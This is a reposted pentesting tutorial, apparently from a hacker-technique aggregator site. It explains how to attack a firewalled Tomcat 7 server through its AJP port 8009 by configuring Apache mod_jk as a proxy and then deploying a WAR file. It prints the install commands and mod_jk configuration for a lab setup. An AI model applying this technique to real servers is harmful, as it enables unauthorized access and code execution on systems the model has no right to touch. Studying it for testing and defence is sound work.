记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

How could I exploit on Tomcat with AJP protocol

2013-12-10 03:25

Author:Mickey

Basically when we installed Tomcat that we saw installation wizard below screenshot, We usually deployed a WAR to tomcat almost used default port 8080, even though when port 8080 was blocked by firewall, do we still exploit?
In fact, the answers are definitely that we can explit via port 8009 of the AJP connector port, I will explain in detail below that we can deploy this WAR file.

图片1

My experiment environment:
192.168.0.102   Tomcat 7 virtual host, FW blocks port 8080
192.168.0.103   BT 5 for pentesting

First, we used nmap to portscan and our tests show that port 8009 was open on图片2
Apache is default installion on Backtrack 5, we just need to install mod-jk
root@mickey:~# apt-get install libapache2-mod-jk

My jk.conf of the configuration:

root@mickey:/etc/apache2/mods-available# cat jk.conf

# Update this path to match your conf directory location

JkWorkersFile /etc/apache2/jk_workers.properties

# Where to put jk logs

# Update this path to match your logs directory location

JkLogFile /var/log/apache2/mod_jk.log

# Set the jk log level [debug/error/info]

JkLogLevel info

# Select the log format

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

# JkOptions indicate to send SSL KEY SIZE,

JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat set the request format

JkRequestLogFormat "%w %V %T"

# Shm log file

JkShmFile /var/log/apache2/jk-runtime-status

Create a link with ln command to /etc/apache2/mods-enabled/:

ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf

Configure jk_workers.properties as below:

root@mickey:/etc/apache2# cat jk_workers.properties

worker.list=ajp13

# Set properties for worker named ajp13 to use ajp13 protocol,

# and run on port 8009

worker.ajp13.type=ajp13

worker.ajp13.host=192.168.0.102 <\---|Here is target ip address

worker.ajp13.port=8009

worker.ajp13.lbfactor=50

worker.ajp13.cachesize=10

worker.ajp13.cache_timeout=600

worker.ajp13.socket_keepalive=1

worker.ajp13.socket_timeout=300

Default websites configuration:(as configure in /etc/apache2/sites-enabled/000-default )图片3

Restart apache:

sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

We have configured mod_jk of the module, then browse on 192.168.0.103 port 80 that will redirect to 192.168.0.102 port 8009,  Now, we can deploy WAR file.

图片4

Translated by hip

知识来源: insight-labs.org/?p=1095

阅读:683913 | 评论:0 | 标签:exp

想收藏或者和大家分享这篇好文章→复制链接地址

“How could I exploit on Tomcat with AJP protocol”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云